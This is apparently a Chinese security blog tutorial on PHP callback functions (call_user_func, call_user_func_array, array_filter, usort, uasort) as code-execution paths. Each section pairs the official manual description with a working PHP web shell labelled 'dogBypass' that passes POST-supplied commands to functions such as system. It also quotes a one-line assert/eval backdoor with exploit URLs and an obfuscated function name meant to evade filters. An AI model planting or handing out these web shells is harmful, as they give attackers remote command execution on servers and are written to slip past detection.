本篇涉及函数:call_user_func()、call_user_func_array(),array_filter,usort,uasort()
0x01 call_user_func函数
源自官方的解释:
call_user_func
(PHP 4, PHP 5, PHP 7)
call_user_func — 把第一个参数作为回调函数调用, 后续参数作为回调函数的参数传入。
说明:
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
参数:
callback
将被调用的回调函数(callable)。
parameter
0个或以上的参数,被传入回调函数。
返回值:返回回调函数的返回值。
call_user_func() 的例子
<?php
function barber($type)
{
echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>
以上例程会输出:
You wanted a mushroom haircut, no problem You wanted a shave haircut, no problem
`````
利用示例代码 &【dogBypass】
<?php
//func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_cmd=$_POST['cmd'];
call_user_func($bad_func,$bad_cmd);
?>
0x02 call_user_func_array函数
源自官方的解释:
call_user_func_array
(PHP 4 >= 4.0.4, PHP 5, PHP 7)
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数。
说明:
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
参数:
callback
被调用的回调函数。
param_arr
要被传入回调函数的数组,这个数组得是索引数组。
返回值:返回回调函数的结果。如果出错的话就返回FALSE
Example #1 call_user_func_array()例子
<?php
function foobar($arg, $arg2) {
echo __FUNCTION__, " got $arg and $arg2\n";
}
class foo {
function bar($arg, $arg2) {
echo __METHOD__, " got $arg and $arg2\n";
}
}
// Call the foobar() function with 2 arguments
call_user_func_array("foobar", array("one", "two"));
// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>
以上例程的输出类似于:
foobar got one and two foo::bar got three and four
`````
利用示例代码 &【dogBypass】
<?php
//func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_array[0]=$_POST['cmd'];
call_user_func_array($bad_func,$bad_array);
?>
0x03 array_filter函数
源自官方的解释:
array_filter
(PHP 4 >= 4.0.6, PHP 5, PHP 7)
array_filter — 用回调函数过滤数组中的单元
说明:
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
参数:
array
要循环的数组
callback
使用的回调函数
如果没有提供 callback 函数, 将删除 array 中所有等值为 FALSE 的条目。更多信息见转换为布尔值。
flag
决定callback接收的参数形式:
· ARRAY_FILTER_USE_KEY - callback接受键名作为的唯一参数 。
· ARRAY_FILTER_USE_BOTH - callback同时接受键名和键值 。
返回值:返回过滤后的数组。
Example #1 array_filter() 例子
<?php
function odd($var)
{
// returns whether the input integer is odd
return($var & 1);
}
function even($var)
{
// returns whether the input integer is even
return(!($var & 1));
}
$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);
echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>
以上例程会输出:
Odd : Array ( [a] => 1 [c] => 3 [e] => 5 ) Even: Array ( [0] => 6 [2] => 8 [4] => 10 [6] => 12 )
``````
利用代码示例&【dogBypass】
<?php
//func=system&cmd=whoami
$cmd =$_POST['cmd'];
$func =$_POST['func'];
$array1 =array($cmd);
$evil = trim('a r ra y_fi lt er');
$evil = str_replace(" ", "", $evil);
$evil($array1, $func);
?>
0x04 usort函数
源自官方的解释:
(PHP 4, PHP 5, PHP 7)
usort — 使用用户自定义的比较函数对数组中的值进行排序
说明:
bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
Note:
If two members compare as equal, their relative order in the sorted array is undefined.
Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名,而不是仅仅将键名重新排序。
参数:
array
输入的数组
cmp_function
在第一个参数小于,等于或大于第二个参数时,该比较函数必须相应地返回一个小于,等于或大于 0 的整数。
int callback ( mixed $a, mixed $b )
Caution
Returning non-integer values from the comparison function, such as float, will result in an internal cast to integer of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.
返回值:成功时返回 TRUE, 或者在失败时返回 FALSE。
``````
利用代码示例:
源自 am0s师傅的博客:http://www.am0s.com/functions/97.html
php>=5.6
<?php usort(...$_GET);?>
GET: [['$a=0','eval($_POST["x"])'],'assert'];
http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
php>=<5.6
<?php usort($_GET,'asse'.'rt');?>
http://www.url.com/test.php?1=1+1&2=eval($_POST[x])
这里am0s师傅利用到了PHP5.6的一个特性:
利用代码示例&【dogBypass】
<?php
$cmd =$_POST['cmd'];
$func =$_POST['func'];
$array1 =array(1,$cmd);
$a = usort($array1, $func);
0x05 uasort函数
(PHP 4, PHP 5, PHP 7)
uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
说明:
bool uasort ( array &$array , callable $value_compare_func )
本函数对数组排序并保持索引和单元之间的关联。
主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。
Note:
If two members compare as equal, their relative order in the sorted array is undefined.
参数:
array
输入的数组。
value_compare_func
用户自定义比较函数的例子请参考 usort() 和 uksort()。
返回值:成功时返回 TRUE, 或者在失败时返回 FALSE。
Example #1 uasort() 的基本例子。
<?php
// Comparison function
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}
// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);
// Sort and print the resulting array
uasort($array, 'cmp');
print_r($array);
?>
以上例程会输出:
Array ( [a] => 4 [b] => 8 [c] => -1 [d] => -9 [e] => 2 [f] => 5 [g] => 3 [h] => -4 ) Array ( [d] => -9 [h] => -4 [c] => -1 [e] => 2 [g] => 3 [a] => 4 [f] => 5 [b] => 8 )
``````
利用代码 示例& 【dogBypass】
<?php
$cmd =$_POST['cmd'];
$func =$_POST['func'];
$array1 =array(1,$cmd);
$a = uasort($array1, $func);
?>
总结
代码执行函数总结篇完结啦!小伙们可将本期与上期的稿件进行结合学习,当然如果你有其他的代码执行函数,欢迎在公众平台上给斗哥留言,咱们一起讨论交流。